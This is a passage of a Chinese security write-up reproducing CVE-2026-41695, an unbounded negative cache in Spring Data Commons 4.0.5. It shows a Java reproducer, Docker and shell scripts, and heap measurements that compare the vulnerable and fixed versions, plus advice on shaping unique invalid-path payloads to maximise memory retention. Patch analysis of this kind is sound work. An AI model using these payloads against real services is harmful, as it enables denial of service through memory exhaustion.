    return field.get(factory);
}

private static int extractCacheSize(Object cache) throws ReflectiveOperationException {

    if (cache instanceof Map<?, ?> map) {
        return map.size();
    }

    try {
        Method sizeMethod = cache.getClass().getMethod("size");
        Object value = sizeMethod.invoke(cache);
        if (value instanceof Number number) {
            return number.intValue();
        }
    } catch (NoSuchMethodException ignored) {
    }

    for (Class<?> type = cache.getClass(); type != null; type = type.getSuperclass()) {
        for (Field field : type.getDeclaredFields()) {
            field.setAccessible(true);
            Object value = field.get(cache);
            if (value instanceof Map<?, ?> map) {
                return map.size();
            }
        }
    }

    return -1;
}

private static boolean containsCacheEntry(Object cache, String propertyPath) throws ReflectiveOperationException {
    Object key = PersistentPropertyPathFactory.TypeAndPath.of(TypeInformation.of(PersonSample.class), propertyPath);

    if (cache instanceof Map<?, ?> map) {
        return map.containsKey(key);
    }

    try {
        Method containsMethod = cache.getClass().getMethod("contains", Object.class);
        Object value = containsMethod.invoke(cache, key);
        if (value instanceof Boolean result) {
            return result;
        }
    } catch (NoSuchMethodException ignored) {
    }

    return false;
}

把输出序列化、PID 获取和参数解析补齐以后,这个文件就已经可以独立运行:

private static String toJson(Map<String, Object> report) {

    StringBuilder json = new StringBuilder();
    json.append("{\n");

    int index = 0;
    for (Map.Entry<String, Object> entry : report.entrySet()) {
        json.append("  \"").append(entry.getKey()).append("\": ");
        Object value = entry.getValue();

        if (value instanceof Number || value instanceof Boolean) {
            json.append(value);
        } else {
            json.append('"').append(escape(String.valueOf(value))).append('"');
        }

        if (index < report.size() - 1) {
            json.append(',');
        }
        json.append('\n');
        index++;
    }

    json.append("}");
    return json.toString();
}

private static String escape(String value) {
    return value.replace("\\", "\\\\").replace("\"", "\\\"");
}

private static long getCurrentPid() {
    return ManagementFactory.getRuntimeMXBean().getPid();
}

record Arguments(String label, String prefix, int iterations, Path output, long sleepMillis) {

    static Arguments parse(String[] args) {

        String label = DEFAULT_LABEL;
        String prefix = DEFAULT_PREFIX;
        int iterations = DEFAULT_ITERATIONS;
        Path output = null;
        long sleepMillis = DEFAULT_SLEEP_MILLIS;

        for (String arg : args) {
            if (arg.startsWith("--label=")) {
                label = arg.substring("--label=".length());
            } else if (arg.startsWith("--prefix=")) {
                prefix = arg.substring("--prefix=".length());
            } else if (arg.startsWith("--iterations=")) {
                iterations = Integer.parseInt(arg.substring("--iterations=".length()));
            } else if (arg.startsWith("--output=")) {
                output = Path.of(arg.substring("--output=".length()));
            } else if (arg.startsWith("--sleep-ms=")) {
                sleepMillis = Long.parseLong(arg.substring("--sleep-ms=".length()));
            }
        }

        return new Arguments(label, prefix, iterations, output, sleepMillis);
    }
}

为了让失败发生在“合法前缀之后”,测试模型本身也刻意做成三层:

static class PersonSample {
    List<Person> persons;
}

static class Person {
    String name;
    Address address;
}

static class Address {
    String city;
}
}

这样输入就可以设计成下面这种样子:

persons.firstname0
persons.firstname1
persons.firstname2
...
persons.firstname4095

这类路径的特点是:

  • 第一段 persons 合法,可以进入更深层解析
  • 第二段 firstnameN 非法,稳定触发失败路径分支
  • 每个字符串都唯一,天然适合制造高基数缓存项

0x07 复现步骤

0x07.1 复现环境说明

为避免把宿主机 shell、Maven 和 Java 版本混进复现过程,下文终端截图统一取自临时 docker:29.6.2-cli 容器中的实际执行结果。

这个容器只做两件事:

  1. 把你刚才创建的工作目录真实路径挂进去。
  2. 通过 /var/run/docker.sock 调用宿主机 Docker Engine。

这样做有两个直接好处:

  • 截图里的终端本身在容器里,满足“terminal 操作在 container 中完成”的要求。
  • 容器里依然可以直接执行 docker compose,去拉起真正跑 PoC 的 maven:3.9.11-eclipse-temurin-21 复现容器。

第一步先在容器里确认工作目录、Compose 可用性和服务定义:

pwd
ls
docker compose version
sed -n '1,30p' docker-compose.yml

对应的 docker-compose.yml 本体如下:

services:
  cve-2026-41695-vuln:
    image: maven:3.9.11-eclipse-temurin-21
    working_dir: /workspace/repro
    volumes:
      - .:/workspace
      - maven-repo:/root/.m2
    command:
      - mvn
      - -q
      - -DskipTests
      - -Dspring-data-commons.version=4.0.5
      - -Dspring-framework.version=7.0.7
      - -Dexec.args=--label=vulnerable --iterations=4096 --output=/workspace/artifacts/vulnerable.json
      - compile
      - exec:java

  cve-2026-41695-fixed:
    image: maven:3.9.11-eclipse-temurin-21
    working_dir: /workspace/repro
    volumes:
      - .:/workspace
      - maven-repo:/root/.m2
    command:
      - mvn
      - -q
      - -DskipTests
      - -Dspring-data-commons.version=4.0.6
      - -Dspring-framework.version=7.0.8
      - -Dexec.args=--label=fixed --iterations=4096 --output=/workspace/artifacts/fixed.json
      - compile
      - exec:java

volumes:
  maven-repo:

这里真正影响复现结果的只有三处:

  • 两个服务共用同一份源码和同一份本地 Maven 缓存
  • 脆弱版固定 4.0.5 / 7.0.7
  • 修复版固定 4.0.6 / 7.0.8

图 4:容器内检查复现环境,确认工作目录、docker compose 与服务参数无误。

0x07.2 脆弱版 4.0.5

确认环境无误后,直接在容器里执行脆弱版服务:

docker compose run --rm cve-2026-41695-vuln
cat artifacts/vulnerable.json

重点看四个字段:

  1. cacheImplementation 是否还是 ConcurrentHashMap
  2. cacheSize 是否跟 iterations 一起长到 4096
  3. containsFirstKey / containsMiddleKey / containsLastKey 是否全部仍为 true
  4. exceptions 是否确实等于 4096,证明 4096 次输入都走到了失败解析分支

图 5:容器内运行脆弱版。cacheImplementation 仍是 ConcurrentHashMap,cacheSize 线性长到 4096。

0x07.3 修复版 4.0.6

然后在同样的容器终端里切到修复版服务:

docker compose run --rm cve-2026-41695-fixed
cat artifacts/fixed.json

这一轮重点看下面几个结果:

  • exceptions 依然等于 4096,说明同样数量的无效输入仍然被送进了解析链路
  • cacheImplementation 已经变成 ConcurrentLruCache
  • cacheSize 被硬性压在 512
  • 早期 key 被淘汰,只剩最近 key 仍命中

图 6:容器内运行修复版。修复版仍会抛 InvalidPersistentPropertyPath,但缓存实现和缓存边界已经变化。

0x07.4 产物位置

上面两轮跑完以后,当前目录里会得到四个最直接的基础产物:

  • artifacts/vulnerable.json
  • artifacts/fixed.json
  • artifacts/vulnerable.log
  • artifacts/fixed.log

如果不想手动敲两次 docker compose run,可以把下面这段脚本保存成 scripts/run-docker-repro.sh:

#!/usr/bin/env bash

set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts"

mkdir -p "$ARTIFACTS_DIR"

cd "$ROOT_DIR"

docker compose run --rm cve-2026-41695-vuln | tee "$ARTIFACTS_DIR/vulnerable.log"
docker compose run --rm cve-2026-41695-fixed | tee "$ARTIFACTS_DIR/fixed.log"

printf '\nSaved artifacts:\n'
printf '  %s\n' \
  "$ARTIFACTS_DIR/vulnerable.json" \
  "$ARTIFACTS_DIR/fixed.json" \
  "$ARTIFACTS_DIR/vulnerable.log" \
  "$ARTIFACTS_DIR/fixed.log"

所以 0x08 里的结果并不是手工拼出来的,而是来自同一份脚本固化后的输出;后面的 heap histogram 和 payload matrix 也是在这条基线上继续补强证据链。

0x08 实测结果

下面这组结果来自 2026-08-16 执行 ./scripts/run-docker-repro.sh 的一次样本输出:

版本

缓存实现

唯一无效路径数

缓存大小

首个 key 仍在

中间 key 仍在

最新 key 仍在

4.0.5

ConcurrentHashMap

4096

4096

true

true

true

4.0.6

ConcurrentLruCache

4096

512

false

false

true

除了这几个最核心的缓存字段,我还把三个运行时辅助字段一起保留了下来:

  • exceptions:确认 4096 次输入是否全部落进失败分支
  • elapsedMillis:记录本轮运行耗时,但只作现象参考,不把它当严格 benchmark
  • jvmPid:方便后续 jcmd 附着做堆取证

下面两段 JSON 节选自 2026-08-16 的一次实际运行样本。其中 elapsedMillis 会随宿主负载、容器状态和 JIT 预热轻微波动;重跑时只要关注数量级和趋势一致即可,不需要逐毫秒对齐。

脆弱版输出:

{
  "label": "vulnerable",
  "springDataCommonsVersion": "4.0.5",
  "iterations": 4096,
  "exceptions": 4096,
  "elapsedMillis": 90,
  "invalidPathPrefix": "persons.firstname",
  "cacheImplementation": "java.util.concurrent.ConcurrentHashMap",
  "cacheSize": 4096,
  "containsFirstKey": true,
  "containsMiddleKey": true,
  "containsLastKey": true,
  "jvmPid": 1
}

修复版输出:

{
  "label": "fixed",
  "springDataCommonsVersion": "4.0.6",
  "iterations": 4096,
  "exceptions": 4096,
  "elapsedMillis": 95,
  "invalidPathPrefix": "persons.firstname",
  "cacheImplementation": "org.springframework.util.ConcurrentLruCache",
  "cacheSize": 512,
  "containsFirstKey": false,
  "containsMiddleKey": false,
  "containsLastKey": true,
  "jvmPid": 1
}

这个对比已经足够说明问题:

  • 4.0.5 会永久保留全部失败路径缓存项
  • 4.0.6 仍然缓存,但会把缓存限制在 512 条
  • 修复版保留最近 key、淘汰早期 key,完全符合 LRU 行为

也就是说,补丁确实改变了攻击面最核心的可观测特征:从“线性累积”变成了“有界波动”。

0x08.1 从对象留存视角看,堆里到底留下了什么

上面的实测结果证明了“缓存项数量”的变化,但如果想把文章进一步做成一条完整证据链,还需要回答另一个问题:

缓存变大之后,JVM 堆里究竟是哪一串对象被长期引用住了?

结合源码结构,这条保留链大致可以画成:

图 10:失败路径被缓存后,TypeAndPath 与 PathResolution 如何把原始路径和前缀对象图一起留在堆里。

这条链路的实战意义在于:一次失败请求结束以后,请求栈本身已经退出,但失败解析结果并不会跟着一起死掉;只要缓存还持有 TypeAndPath -> PathResolution 的强引用,这批对象就会继续存活,并在后续 GC 中逐步从“短命对象”变成“长生命周期对象”。

因此它在堆上的表征通常不是“突然冒出一个超大对象”,而是:

  1. String、TypeAndPath、PathResolution 等对象数量持续增长。
  2. 与前缀路径相关的对象图被一起挂住。
  3. 年轻代回收之后,仍有相当一部分对象因为被缓存引用而幸存。
  4. 随着请求继续堆积,这些对象逐步晋升到老年代。

这也是为什么它的运行时症状更像“慢性内存压制”,而不是一次性爆堆。

0x08.2 修复版为什么不是 0,而是 512

很多人第一次看修复版结果时会下意识期待:

修复以后,失败路径相关对象是不是应该完全不再留存?

答案不是。从源码和上游测试看,官方并没有取消 negative cache,而是把它压成了有界集合。

这一点可以从 4.0.6 的单元测试直接看出来。修复前后,测试方法名都还是 cachesFailingPropertyPathLookup();区别只在于:

// 4.0.5 / pre-fix
@Test // GH-2837
void cachesFailingPropertyPathLookup() {

    assertThatExceptionOfType(InvalidPersistentPropertyPath.class)//
            .isThrownBy(() -> factory.from(PersonSample.class, "persons.firstname"));

    Map<TypeAndPath, ?> propertyPaths = (Map<TypeAndPath, ?>) ReflectionTestUtils.getField(factory, "propertyPaths");
    assertThat(propertyPaths).containsKey(TypeAndPath.of(TypeInformation.of(PersonSample.class), "persons.firstname"));
}
// 4.0.6 / fixed
@Test // GH-2837
void cachesFailingPropertyPathLookup() {

    assertThatExceptionOfType(InvalidPersistentPropertyPath.class)//
            .isThrownBy(() -> factory.from(PersonSample.class, "persons.firstname"));

    ConcurrentLruCache<TypeAndPath, ?> propertyPaths =
            (ConcurrentLruCache<TypeAndPath, ?>) ReflectionTestUtils.getField(factory, "propertyPaths");
    assertThat(propertyPaths.contains(TypeAndPath.of(TypeInformation.of(PersonSample.class), "persons.firstname"))).isTrue();
}
  • 4.0.5 断言的是 Map<TypeAndPath, ?> 中包含失败 key
  • 4.0.6 断言的是 ConcurrentLruCache<TypeAndPath, ?>.contains(...) 仍然为 true

也就是说,修复版保留的是:

  1. 相同失败路径可复用的缓存语义
  2. 失败结果会短期驻留在缓存里这件事

真正被改掉的是:

  1. 失败路径的长期 retained set 不再无界
  2. 老条目会被淘汰
  3. 缓存规模会在容量附近饱和,而不是继续线性增长

所以在 heap histogram 里看到:

  • 4.0.5 的 PathResolution / TypeAndPath / DefaultPersistentPropertyPath 升到 4096
  • 4.0.6 的同类对象稳定在 512

这不是“修复版还有洞”的信号,反而正是补丁设计目标的直接体现。如果修复版把这几类对象打到 0,那代表官方选择的是“完全去掉失败缓存”;而真实补丁显然没有这么做。

0x08.3 用 jcmd GC.class_histogram 做一次最小堆取证

为了把“缓存项数量变化”进一步落实到“堆里确实留下了哪些对象”,可以继续加一条更硬的取证链路:

chmod +x scripts/run-heap-histogram.sh
./scripts/run-heap-histogram.sh

这个脚本会分别启动:

  1. spring-data-commons 4.0.5
  2. spring-data-commons 4.0.6

然后在复现程序打完唯一路径、进入短暂休眠窗口后,对目标 JVM 执行:

jcmd <pid> GC.class_histogram

脚本本体如下,重点是给复现程序留出一小段 sleep 窗口,然后在容器内对目标 JVM 执行 jcmd:

#!/usr/bin/env bash

set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts"
SLEEP_MS="${SLEEP_MS:-45000}"
ITERATIONS="${ITERATIONS:-4096}"

mkdir -p "$ARTIFACTS_DIR"

run_histogram() {
  local service="$1"
  local label="$2"
  local commons_version="$3"
  local framework_version="$4"
  local json_path="$ARTIFACTS_DIR/${label}-heap.json"
  local log_path="$ARTIFACTS_DIR/${label}-heap.log"
  local histogram_path="$ARTIFACTS_DIR/${label}-class-histogram.txt"
  local container_name="cve-2026-41695-${label}-heap"

  rm -f "$json_path" "$log_path" "$histogram_path"
  docker rm -f "$container_name" >/dev/null 2>&1 || true

  docker compose run -d --name "$container_name" "$service" \
    bash -lc "
      mvn -q -DskipTests \
        -Dspring-data-commons.version=${commons_version} \
        -Dspring-framework.version=${framework_version} \
        -Dmdep.outputFile=/tmp/classpath.txt \
        compile dependency:build-classpath &&
      java \
        -XX:+StartAttachListener \
        -Dspring-data-commons.version=${commons_version} \
        -cp \"target/classes:\$(cat /tmp/classpath.txt)\" \
        org.springframework.data.mapping.context.Cve41695Reproducer \
        --label=${label}-heap \
        --iterations=${ITERATIONS} \
        --sleep-ms=${SLEEP_MS} \
        --output=/workspace/artifacts/${label}-heap.json
    " >/dev/null

  trap 'docker rm -f "$container_name" >/dev/null 2>&1 || true' RETURN

  local pid=""
  for _ in $(seq 1 30); do
    pid="$(docker exec "$container_name" sh -lc "sed -n 's/.*\"jvmPid\": \\([0-9][0-9]*\\).*/\\1/p' /workspace/artifacts/${label}-heap.json 2>/dev/null | head -n1" || true)"
    if [[ -n "$pid" ]] && docker exec "$container_name" sh -lc "kill -0 $pid" >/dev/null 2>&1; then
      break
    fi
    sleep 1
  done

  if [[ -z "$pid" ]]; then
    echo "Failed to find Java PID in $container_name" >&2
    docker logs "$container_name" >&2 || true
    return 1
  fi

  docker exec "$container_name" jcmd "$pid" GC.class_histogram >"$histogram_path"
  docker logs "$container_name" >"$log_path" 2>&1 || true
  docker wait "$container_name" >/dev/null
  docker logs "$container_name" >"$log_path" 2>&1 || true
  docker rm -f "$container_name" >/dev/null 2>&1 || true
  trap - RETURN

  printf 'Saved heap artifacts for %s:\n' "$label"
  printf '  %s\n' "$json_path" "$log_path" "$histogram_path"
}

cd "$ROOT_DIR"

run_histogram "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7"
run_histogram "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8"

对应产物会落到:

  • artifacts/vulnerable-heap.json
  • artifacts/fixed-heap.json
  • artifacts/vulnerable-class-histogram.txt
  • artifacts/fixed-class-histogram.txt

下面这组数据来自实际执行脚本后的直方图统计:

版本

PathResolution

TypeAndPath

DefaultPersistentPropertyPath

java.lang.String

4.0.5

4096

4096

4096

24072

4.0.6

512

512

512

13328

可直接查看下面这组容器内终端输出:

sed -n '1,40p' artifacts/vulnerable-heap.json
grep -E 'PathResolution|TypeAndPath|DefaultPersistentPropertyPath' artifacts/vulnerable-class-histogram.txt
sed -n '1,40p' artifacts/fixed-heap.json
grep -E 'PathResolution|TypeAndPath|DefaultPersistentPropertyPath' artifacts/fixed-class-histogram.txt

图 7:容器内查看 heap histogram 结果。脆弱版相关对象数量升到 4096,修复版则稳定在 512。

这组结果对应了缓存层的两个核心事实:

  1. 脆弱版里,失败条目相关对象数量会跟唯一路径数一起线性增长。
  2. 修复版里,同一组对象被严格压在 512 左右,不再跟请求数一起无限扩大。

脆弱版直方图中的关键片段如下:

   6:          4096         131072  org.springframework.data.mapping.context.PersistentPropertyPathFactory$PathResolution
   9:          4096          98304  org.springframework.data.mapping.context.PersistentPropertyPathFactory$TypeAndPath
  12:          4096          65536  org.springframework.data.mapping.context.DefaultPersistentPropertyPath

修复版则变成:

  19:           512          16384  org.springframework.data.mapping.context.PersistentPropertyPathFactory$PathResolution
  28:           512          12288  org.springframework.data.mapping.context.PersistentPropertyPathFactory$TypeAndPath
  34:           512           8192  org.springframework.data.mapping.context.DefaultPersistentPropertyPath

如果把这组直方图和前面的缓存反射结果放在一起看,证据链就闭合了:

  1. artifacts/*-heap.json 证明缓存大小分别是 4096 和 512。
  2. artifacts/*-class-histogram.txt 证明失败路径相关对象实例数也同步落在 4096 和 512 两个量级。
  3. 这说明补丁改变的不只是“Map 大小看起来小了”,而是长期留存在堆上的对象集本身被压成了有界集合。

这类证据比单纯看异常日志更有说服力,因为它回答的是:

攻击者制造的那些失败路径,到底有没有在请求结束以后继续留在 JVM 堆里?

对 4.0.5 来说,答案是“会,而且会随着唯一输入持续累积”;对 4.0.6 来说,答案则变成“会,但保留规模被硬性限制住了”。

0x08.4 Payload 设计对比:本次样本里失败越靠后,耗时略有上浮

前面一直用的是 persons.firstnameN,这个 payload 的确很适合演示漏洞;但如果想再往前走一步,就应该问一句:

是不是所有“唯一无效路径”打起来都一样?

答案是否定的。至少从本次实验样本看,三类 payload 的耗时并不完全一样。从解析逻辑上说,失败发生得越靠后,框架在进入失败分支之前走过的合法路径通常越长,单次请求更可能创建和串联更多对象。

为了把这点量化出来,可以把下面这段保存成 scripts/run-payload-matrix.sh:

chmod +x scripts/run-payload-matrix.sh
./scripts/run-payload-matrix.sh

脚本会固定 4096 次迭代,分别比较三类输入:

  1. firstnameN
  2. persons.firstnameN
  3. persons.address.cityN

脚本本体如下,核心是分别调用同一个 Cve41695Reproducer,只切换 --prefix= 参数,然后再把 JSON 汇总成一张表:

#!/usr/bin/env bash

set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts/payload-matrix"
ITERATIONS="${ITERATIONS:-4096}"

mkdir -p "$ARTIFACTS_DIR"

run_case() {
  local service="$1"
  local label="$2"
  local commons_version="$3"
  local framework_version="$4"
  local case_name="$5"
  local prefix="$6"
  local output_path="/workspace/artifacts/payload-matrix/${label}-${case_name}.json"

  docker compose run --rm "$service" \
    mvn -q -DskipTests \
      "-Dspring-data-commons.version=${commons_version}" \
      "-Dspring-framework.version=${framework_version}" \
      "-Dexec.args=--label=${label}-${case_name} --prefix=${prefix} --iterations=${ITERATIONS} --output=${output_path}" \
      compile exec:java >/dev/null
}

summarize() {
  local summary_path="$ARTIFACTS_DIR/summary.md"

  {
    printf '| 版本 | Payload 前缀 | 解析失败深度 | exceptions | elapsedMillis | cacheSize |\n'
    printf '|---|---|---:|---:|---:|---:|\n'

    for label in vulnerable fixed; do
      for case_name in shallow middle deep; do
        local file="$ARTIFACTS_DIR/${label}-${case_name}.json"
        local version prefix exceptions elapsed cache depth

        version="$(sed -n 's/.*"springDataCommonsVersion": "\(.*\)".*/\1/p' "$file")"
        prefix="$(sed -n 's/.*"invalidPathPrefix": "\(.*\)".*/\1/p' "$file")"
        exceptions="$(sed -n 's/.*"exceptions": \([0-9][0-9]*\).*/\1/p' "$file")"
        elapsed="$(sed -n 's/.*"elapsedMillis": \([0-9][0-9]*\).*/\1/p' "$file")"
        cache="$(sed -n 's/.*"cacheSize": \([0-9][0-9]*\).*/\1/p' "$file")"

        case "$case_name" in
          shallow) depth=1 ;;
          middle) depth=2 ;;
          deep) depth=3 ;;
        esac

        printf '| `%s` | `%sN` | %s | %s | %s | %s |\n' \
          "$version" "$prefix" "$depth" "$exceptions" "$elapsed" "$cache"
      done
    done
  } >"$summary_path"

  printf 'Saved payload matrix artifacts:\n'
  printf '  %s\n' "$summary_path"
}

cd "$ROOT_DIR"

rm -f "$ARTIFACTS_DIR"/*.json "$ARTIFACTS_DIR"/summary.md

run_case "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7" "shallow" "firstname"
run_case "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7" "middle" "persons.firstname"
run_case "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7" "deep" "persons.address.city"

run_case "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8" "shallow" "firstname"
run_case "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8" "middle" "persons.firstname"
run_case "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8" "deep" "persons.address.city"

summarize

对应汇总结果会落到:

  • artifacts/payload-matrix/summary.md
  • artifacts/payload-matrix/*.json

下面这组数据来自实际执行脚本后的结果:

版本

Payload 前缀

解析失败深度

exceptions

elapsedMillis

cacheSize

4.0.5

firstnameN

1

4096

81

4096

4.0.5

persons.firstnameN

2

4096

91

4096

4.0.5

persons.address.cityN

3

4096

100

4096

4.0.6

firstnameN

1

4096

94

512

4.0.6

persons.firstnameN

2

4096

101

512

4.0.6

persons.address.cityN

3

4096

106

512

先看汇总结果的话,可以直接查看 summary.md:

sed -n '1,20p' artifacts/payload-matrix/summary.md

图 8:容器内查看 payload matrix 汇总。同样是 4096 次无效输入,失败深度越深,elapsedMillis 越容易上浮;但修复版的 cacheSize 仍被限制在 512。

这组数据不应该被过度解读成“严格性能 benchmark”,因为容器、JIT、宿主负载都会影响绝对值;更准确地说,它提供的是一次有方向性的现象样本,而不是可外推的性能定量结论。在这个前提下,它仍然足够说明两个趋势:

  1. 无论是脆弱版还是修复版,失败越靠后,elapsedMillis 都会小幅上升。
  2. 修复版虽然把缓存压成了 512,但并没有消除“更深路径需要更多解析工作”这件事。

也就是说,payload 设计上至少有两条思路:

  1. 如果目标是放大长期内存占用,那么重点是“唯一值数量”和“缓存是否无界”。
  2. 如果目标是提高单次请求消耗,那么更深的合法前缀通常更有利,因为它会让解析器在失败前走更长的路径。

这也解释了为什么 persons.firstnameN 这类输入在实战上很顺手:

  • 它比 firstnameN 更稳定,因为会先命中一段真实属性图;
  • 它又不像特别深的路径那样依赖复杂对象模型;
  • 它在“可移植性”和“单位请求成本”之间取得了一个比较好的平衡。

0x08.5 放大到 20000 个唯一失败路径后,post-GC 堆压力怎么变

前面的 4096 轮实验已经足够说明修复前后在“缓存边界”上的差异,但如果想把 retained pressure 再往前推一层,更有价值的做法是:

  1. 把唯一路径数继续放大
  2. 在采样前先显式执行一次 GC.run
  3. 再看 GC.heap_info 和 class histogram

如果你想把 retained pressure 再往前推一步,可以把下面这段保存成 scripts/run-heap-pressure-check.sh:

chmod +x scripts/run-heap-pressure-check.sh
./scripts/run-heap-pressure-check.sh

这条脚本会固定:

  • ITERATIONS=20000
  • persons.firstnameN 作为输入前缀
  • 先附着目标 JVM 执行 GC.run
  • 再采 GC.heap_info
  • 最后采 GC.class_histogram

脚本正文如下:

#!/usr/bin/env bash

set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts"
SLEEP_MS="${SLEEP_MS:-60000}"
ITERATIONS="${ITERATIONS:-20000}"

mkdir -p "$ARTIFACTS_DIR"

run_pressure_check() {
  local service="$1"
  local label="$2"
  local commons_version="$3"
  local framework_version="$4"
  local json_path="$ARTIFACTS_DIR/${label}-histo.json"
  local log_path="$ARTIFACTS_DIR/${label}-histo.log"
  local gc_run_path="$ARTIFACTS_DIR/${label}-histo-gc-run.txt"
  local heap_path="$ARTIFACTS_DIR/${label}-histo-heap.txt"
  local classes_path="$ARTIFACTS_DIR/${label}-histo-classes.txt"
  local container_name="cve-2026-41695-${label}-histo"

  rm -f "$json_path" "$log_path" "$gc_run_path" "$heap_path" "$classes_path"
  docker rm -f "$container_name" >/dev/null 2>&1 || true

  docker compose run -d --name "$container_name" "$service" \
    bash -lc "
      mvn -q -DskipTests \
        -Dspring-data-commons.version=${commons_version} \
        -Dspring-framework.version=${framework_version} \
        -Dmdep.outputFile=/tmp/classpath.txt \
        compile dependency:build-classpath &&
      java \
        -XX:+StartAttachListener \
        -Dspring-data-commons.version=${commons_version} \
        -cp \"target/classes:\$(cat /tmp/classpath.txt)\" \
        org.springframework.data.mapping.context.Cve41695Reproducer \
        --label=${label}-histo \
        --iterations=${ITERATIONS} \
        --sleep-ms=${SLEEP_MS} \
        --output=/workspace/artifacts/${label}-histo.json
    " >/dev/null

  trap 'docker rm -f "$container_name" >/dev/null 2>&1 || true' RETURN

  local pid=""
  for _ in $(seq 1 60); do
    pid="$(docker exec "$container_name" sh -lc "sed -n 's/.*\"jvmPid\": \\([0-9][0-9]*\\).*/\\1/p' /workspace/artifacts/${label}-histo.json 2>/dev/null | head -n1" || true)"
    if [[ -n "$pid" ]] && docker exec "$container_name" sh -lc "kill -0 $pid" >/dev/null 2>&1; then
      break
    fi
    sleep 1
  done

  if [[ -z "$pid" ]]; then
    echo "Failed to find Java PID in $container_name" >&2
    docker logs "$container_name" >&2 || true
    return 1
  fi

  docker exec "$container_name" jcmd "$pid" GC.run >"$gc_run_path"
  docker exec "$container_name" jcmd "$pid" GC.heap_info >"$heap_path"
  docker exec "$container_name" jcmd "$pid" GC.class_histogram >"$classes_path"
  docker logs "$container_name" >"$log_path" 2>&1 || true
  docker rm -f "$container_name" >/dev/null 2>&1 || true
  trap - RETURN

  printf 'Saved heap pressure artifacts for %s:\n' "$label"
  printf '  %s\n' "$json_path" "$log_path" "$gc_run_path" "$heap_path" "$classes_path"
}

cd "$ROOT_DIR"

run_pressure_check "cve-2026-41695-vuln" "vulnerable" "4.0.5" "7.0.7"
run_pressure_check "cve-2026-41695-fixed" "fixed" "4.0.6" "7.0.8"

对应产物会落到:

  • artifacts/vulnerable-histo.json
  • artifacts/fixed-histo.json
  • artifacts/vulnerable-histo-heap.txt
  • artifacts/fixed-histo-heap.txt
  • artifacts/vulnerable-histo-classes.txt
  • artifacts/fixed-histo-classes.txt

下面这组数据来自实际执行脚本后的结果:

版本

唯一路径数

cacheSize

post-GC heap used

PathResolution

TypeAndPath

DefaultPersistentPropertyPath

String

4.0.5

20000

20000

9028K

20000

20000

20000

71836

4.0.6

20000

512

3007K

512

512

512

13372

为了更直观看趋势,可以配合看下面这张图:

图 10a:同样打入 20000 个唯一失败路径并先执行 GC.run 后,脆弱版与修复版在 post-GC heap used、缓存项和失败路径相关对象数量上出现明显分叉。

这里最值得看的不是某个单一对象,而是“显式 GC 之后还剩下多少”:

  1. 4.0.5 在 GC.run 之后,heap used 仍然大约是 9.0 MB
  2. 4.0.6 在同样条件下,heap used 大约是 3.0 MB
  3. 三类核心失败路径对象在脆弱版仍然维持 20000 量级,在修复版则继续被压在 512
  4. String 数量也有明显分叉,说明被长期挂住的不只是三个 Spring Data 自定义对象

如果把这组结果和前面的 4096 轮实验放在一起看,可以得到一个更完整的结论:

  1. 修复前的问题不是“瞬时解析时会多创建一点对象”,而是“显式 GC 之后仍然保留大量失败路径相关对象”
  2. 修复后的变化也不只是“逻辑上有 LRU”,而是“放大输入规模以后,post-GC 堆压力仍然保持有界”
  3. 这组 post-GC 数据虽然还不是完整的 dominator tree,但已经比单纯的运行时耗时或异常计数更接近 retained-set 视角

这也是为什么本文一直强调:CVE-2026-41695 的本质不是“解析失败会报错”,而是“失败结果在请求结束后继续活在堆里,而且修复前这个集合没有硬边界”。

0x08.6 继续往下做到对象图:live heap dump + MAT batch 已经实际跑通

前面的 GC.class_histogram + GC.heap_info 已经足够支撑本文的主要结论,但如果你想把证据再推进到:

  • dominator tree
  • retained size
  • shortest path to GC roots

那下一步就不该停在日志层,而是要把 live heap dump 真的导出来,再交给 MAT 做离线对象图分析。

如果你还想把证据推进到 live heap dump 和 MAT 离线分析,可以再准备下面两条脚本:

chmod +x scripts/run-live-heap-dump.sh scripts/run-mat-batch.sh
./scripts/run-live-heap-dump.sh
./scripts/run-mat-batch.sh

第一条脚本 scripts/run-live-heap-dump.sh 会:

  1. 固定 ITERATIONS=20000
  2. 在目标 JVM 休眠窗口内先执行一次 GC.run
  3. 采一份 GC.heap_info
  4. 再用 jhsdb jmap --binaryheap --gz 1 导出压缩后的 live heap dump

它的完整内容如下:

#!/usr/bin/env bash

set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ARTIFACTS_DIR="$ROOT_DIR/artifacts/heap-dumps"
SLEEP_MS="${SLEEP_MS:-60000}"
ITERATIONS="${ITERATIONS:-20000}"
GZIP_LEVEL="${GZIP_LEVEL:-1}"

mkdir -p "$ARTIFACTS_DIR"

run_heap_dump() {
  local service="$1"
  local label="$2"
  local commons_version="$3"
  local framework_version="$4"
  local json_path="$ARTIFACTS_DIR/${label}-dump.json"
  local log_path="$ARTIFACTS_DIR/${label}-dump.log"
  local heap_info_path="$ARTIFACTS_DIR/${label}-heap-info.txt"
  local dump_path="$ARTIFACTS_DIR/${label}.hprof.gz"
  local container_name="cve-2026-41695-${label}-dump"

  rm -f "$json_path" "$log_path" "$heap_info_path" "$dump_path"
  docker rm -f "$container_name" >/dev/null 2>&1 || true

  docker compose run -d --name "$container_name" "$service" \
    bash -lc "
      mvn -q -DskipTests \
        -Dspring-data-commons.version=${commons_version} \
        -Dspring-framework.version=${framework_version} \
        -Dmdep.outputFile=/tmp/classpath.txt \
        compile dependency:build-classpath &&
      java \
        -XX:+StartAttachListener \
        -Dspring-data-commons.version=${commons_version} \
        -cp \"target/classes:\$(cat /tmp/classpath.txt)\" \
